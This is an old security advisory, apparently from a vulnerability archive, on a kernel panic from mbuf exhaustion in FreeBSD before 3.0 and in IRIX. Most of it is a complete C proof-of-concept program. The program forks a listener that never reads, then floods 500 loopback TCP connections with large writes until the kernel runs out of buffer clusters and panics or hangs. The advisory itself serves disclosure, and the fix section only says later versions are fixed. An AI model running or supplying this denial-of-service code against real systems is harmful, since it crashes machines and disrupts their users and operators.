COMMAND

    kernel (mbuf)

SYSTEMS AFFECTED

    FreeBSD prior to 3.0, IRIX

PROBLEM

    David G. Andersen and Don  Lewis found following.  FreeBSD  panics
    caused by running  out of mbuf  clusters.  There's  another fairly
    easy way to exploit this on  pre-3.0 systems, as an aside, but  it
    requires either a fairly slow server process (or one which you can
    force to block), or local access.  The process is simple:

    - connect
    - send a big chunk of data which causes the TCP socket buffers  to
      fill up before the remote process read()s it
    - panic().

    The bug was actually pointed out in an indirect way by the  author
    of a paper at sigcomm, who noticed the phenomenon in NetBSD  while
    they were rewriting  the buffer management  routines.  Below  is a
    small test program for it.  It also seems to affect IRIX  systems,
    resulting in  a hung  system.   This test  programs (local  users)
    creates a socket,  listen()s on it,  and does nothing.   The other
    process connects to this socket, and sends a bunch of junk.   This
    was tested  against an  early, early  version of  3.0-current, and
    it appeared to be fixed.  Linux and AIX proved happy with it.

    /* Test program for TCP buffer overflow mbuf panic */
    /* Dave Andersen - danderse@cs.utah.edu */
    /* netbuf.c - gcc netbuf.c -o netbuf */

    #include <sys/types.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <netinet/in.h>

    #define MAXSOCK 500
    #define MY_BUFSIZE 32768
    #define MAGICPORT 29833

    #ifndef INADDR_LOOPBACK
    #define INADDR_LOOPBACK 0x7f000001
    #endif

    /*
     * Compiling:
     *   FreeBSD, AIX:  -DHAS_SIN_LEN
     *   Linux, IRIX:
     */
    /*
     * Vulnerable:
     *  FreeBSD-2.x
     *  IRIX
     * Not vulnerable:
     *  FreeBSD-3.0
     *  Linux 2.0.30
     *  AIX 4.1
     */


    struct sockaddr_in socka;

    void doecho() {
	int ls;

	ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	bind(ls, &socka, sizeof(socka));
	listen(ls, MAXSOCK);

	while (1) {
	    sleep(1);
	}
    }

    int main(int argc, char **argv) {
	int kidpid;
	int sendsock[MAXSOCK], recvsock[MAXSOCK];
	int i;
	int sock;
	int socksize;
	char buf[MY_BUFSIZE];

	socksize = 1048576;
	bzero(&socka, sizeof(socka));
	socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    #ifdef HAS_SIN_LEN
	socka.sin_len = sizeof(struct sockaddr_in);
    #endif
	socka.sin_family = AF_INET ;
	socka.sin_port = htons(MAGICPORT);

	kidpid = fork();
	if (kidpid > 0) {
	    doecho();
	} else {
	    /* A vague, horrible excuse for synchronization.  This
	     * is a demonstration of a kernel flaw, not good coding
	     * style. :-) */
	    sleep(2);
	}

	for (i = 0; i < MAXSOCK; i++)
	{
	    /* Open the socket connection, set the socket option */
	    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	    setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
	    sendsock[i] = sock;
	    if (connect(sock, &socka, sizeof(socka))) {
		perror("could not connect");
	    }
	    printf("Opened\n");
	}
	printf("Starting the loop\n");
	while (1) {
	    for (i = 0; i < MAXSOCK; i++)
		write(sendsock[i], buf, MY_BUFSIZE);
	}
    }

SOLUTION

    It's fixed in 3.0ish systems.  Not sure what about IRIX.